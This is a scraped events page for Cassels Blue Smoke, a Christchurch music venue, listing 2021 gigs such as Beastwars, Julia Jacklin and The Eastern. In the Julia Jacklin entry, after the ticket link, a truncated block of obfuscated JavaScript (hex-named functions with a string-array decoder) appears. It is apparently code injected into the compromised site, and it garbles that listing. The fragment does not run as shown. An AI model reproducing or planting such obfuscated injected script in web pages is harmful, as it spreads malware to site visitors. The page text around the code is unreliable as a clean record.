Wellington sludge metal titans Beastwars are celebrating the 10th anniversary of their iconic debut self-titled album with a nationwide tour headlining the largest venues of their career. Panhead Custom Ales, Banished Music & Under The Radar presents BEASTWARS 10th Anniversary Tour with special guests EARTH TONGUE May 7 - Totara St. - Mount Maunganui May 8 - Powerstation, Auckland May 14 - Starters, Dunedin May 15 - Cassels Blue Smoke, Christchurch* May 21 - Wakatu Hotel, Nelson May 22 -…
Find out more »June 2021
The Bats, Ben Woods and Violet French And The Horrible are Goin’ Live With Chabs And Milky
Live in person and streamed on VHS, ?tautahi's finest are Goin' Live With Chabs And Milky at Cassels Blue Smoke: The Bats Ben Woods Violet French And The Horrible “Humble heroes of Aotearoa’s music community” (Under The Radar), Chabs and Milky, are delighted to announce an incredible lineup of touring livestreams around the country at the end of May and beginning of June. Chabs and Milky say: “It’s going to be an amazing experience capturing such a wide range of…
Find out more »The Dark Eighties: Christchurch Debut!
THE DARK EIGHTIES DANCE PARTY - CHRISTCHURCH DEBUT! We originated on the West Coast of North America + have sold out nights in WELLINGTON, AUCKLAND, MONTREAL, VANCOUVER, TORONTO, AND LONDON! In June 2021, it's finally time to bring The Dark Eighties to Blue Smoke in Christchurch! Tickets at Undertheradar https://www.undertheradar.co.nz/.../The-Dark-Eighties... + https://www.tickettailor.com/events/12xuproductions/499337 We'll be playing your favourite (and some more obscure) DARK 80s anthems until LATE EBM I GOTH I POST PUNK I NEW ROMANTICS I ITALO DISCO INDUSTRIAL I DARK…
Find out more »Stonehurst Suffering Man NZ Tour – Christchurch
The Heavy Psyc Riff-heads Stonehurst embark on their Suffering Man NZ Tour! First up we have our hometown show in Christchurch and our first time at Cassels Blue Smoke featuring the dark cerebral prog rock legends Elidi and trance inducers Via Kaleidoscope. Also joining us for their CHCH debut, Auckland's Electric Universe! 18 June, $20 Door sales from 8pm! Big thanks to CANNA, Waghorn Builders Ltd, Slick Burgers, RDU 98.5 FM, Eagle Brewing NZ, Razor Sharp Sound NZ, COSMIC, Cosmic…
Find out more »Stonehurst Live in Christchurch
The Heavy Psyc Riff-heads Stonehurst embark on their Suffering Man NZ Tour! First up we have our hometown show in Christchurch and our first time at Cassels Blue Smoke featuring the dark cerebral prog rock legends Elidi and trance inducers Via Kaleidoscope. Also joining us for their CHCH debut, Auckland's Electric Universe! 18 June, $20 Door sales from 8pm! Big thanks to CANNA, Waghorn Builders Ltd, Slick Burgers, RDU 98.5 FM, Eagle Brewing NZ, Razor Sharp Sound NZ, COSMIC, Cosmic…
Find out more »July 2021
Julia Jacklin (SOLO) | Christchurch SOLD OUT
Australia’s breakthrough singer-songwriter, JULIA JACKLIN, is returning to New Zealand on a solo tour to mesmerize our audiences once again. Scheduled to play three special shows – San Fran in Wellington on July 21, Cassel’s Blue Smoke in Christchurch on July 22, and Auckland’s Elemental Nights at the Concert Chamber, Town Hall on July 23. Tickets go on sale 12pm Wednesday June 2. For complete tour and ticket information, visit http://bit.ly/Juliajacklinnz function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const…
Find out more »The Overflow Tour – Christchurch
100% Good and Under the Radar present Te Whanganui-a-Tara dream-pop band French for Rabbits live in concert this July and August. Led by songwriter Brooke Singer, the full five-piece band featuring John Fitzgerald, Ben Lemi (Trinity Roots, Dawn Diver), Hikurangi Schaverien-Kaa (Dawn Diver) and Penelope Esplin (Grawlixes, Lake South) will be hitting rural roads of New Zealand for six shows. Their impeccable understated songcraft and affable banter will suit each of the venues to a tee, inviting audiences to lean…
Find out more »The Overflow Tour – Christchurch
100% Good and Under the Radar present Te Whanganui-a-Tara dream-pop band French for Rabbits live in concert this July and August. Led by songwriter Brooke Singer, the full five-piece band featuring John Fitzgerald, Ben Lemi (Trinity Roots, Dawn Diver), Hikurangi Schaverien-Kaa (Dawn Diver) and Penelope Esplin (Grawlixes, Lake South) will be hitting rural roads of New Zealand for six shows. Their impeccable understated songcraft and affable banter will suit each of the venues to a tee, inviting audiences to lean…
Find out more »August 2021
Daniel Champagne LIVE Cassels Blue Smoke (Christchurch)
CHRISTCHURCH - the young virtuoso recently described as 'the finest guitar player of this generation' has been selling out shows around the world and now brings his tour to town playing an intimate Christchurch show August 1 at Cassels Blue Smoke! Tickets just $25 but VERY limited here: https://www.eventbrite.com.au/.../daniel-champagne-live... don't miss this, these shows have been selling out all over the world! 6:30 pm doors / 8pm show WHAT THE PRESS SAY “The word Prodigy seems to entirely fall short of…
Find out more »Clap Clap Riot – August Aotearoa Tour – CHCH – NEW DATE!
With their initial tour planned for March, the gremlin that is Covid-19 has forced the rescheduling of all of Clap Clap Riots original tour dates to August. Between lockdowns and a sold-out guilty pleasures show at Auckland's Whammy Bar, the band has been working on the follow-up to their third full-length album. The final flourishes are currently being put on the yet-to-be-titled release, which is being recorded with producer Tom Healy inside Mount Eden studio The Lab. Ahead of the…
Find out more »October 2021
THE EASTERN ‘TWO FOR THE COMMOM ROOM’
Cassels Blue Smoke present two nights with The Eastern. These will be intimate sit down shows, all level protocols will apply. Fri. Oct. 15 / Sat. Oct. 16 7.30pm Doors / 8.30pm music FRIDAY SHOW https://www.undertheradar.co.nz/.../The-Eastern-Two-For... SATURDAY SHOW https://www.undertheradar.co.nz/.../The-Eastern-Two-For... In times like these a month can be a year, a year a month and a day a lifetime. All of us straddling a line between hope and doubt. Way back in April, “National Treasures” (RNZ) The Eastern were feeling relieved…
Find out more »Eighties Forever in Christchurch
12XU Presents: EIGHTIES FOREVER at Cassels Blue Smoke tickets at https://www.undertheradar.co.nz/.../Eighties-Forever.utr on Saturday, October 23rd (rescheduled due to Covid19) 7-midnight It if came out in the 80s and you can dance to it, we might play it! Cheesy pop, synth pop hits, goth, indie, hair rock, hip hop + more!!! Dress up, have some drinks + be merry to 80s music played until well past your bedtime! ABC, A-ha, Adam + the Ants, Air Supply, Billy Idol, Bruce Springsteen, Boy George,…
Find out more »Time To Bide Album Release Tour
Following on from the 7 years of constant touring that fuelled the EP "Traveller", Monty's first 2 years as a father have defied him to delve deeply into what slowing down might uncover. Recorded by Lee Prebble at the Surgery in Wellington, Monty's rich story telling voice floats over a warm acoustic guitar, the upbeat energy and conversation between groove and melody, carrying the substance of the stories. Ready, aim, fire; final words from the last track 'Distant Hum' dedicated…
Find out more »November 2021
Vallé, ASHY and And$um with Harmony & Rhythm
03 Sessions are proud to present VALLÉ, ASHY and AND$UM in concert with HARMONY & RHYTHM for a one-night-only performance at Blue Smoke. Fresh off the release of his acclaimed music video 'Swing Low', rising hip-hop star Vallé headlines an all-?tautahi super session featuring pop sensation ASHY and Lyttelton rhyme artist And$um - all backed by the mighty Harmony & Rhythm brass band. Don't miss this special Canterbury Show Day performance on Friday November 12th at Blue Smoke. Presales available…
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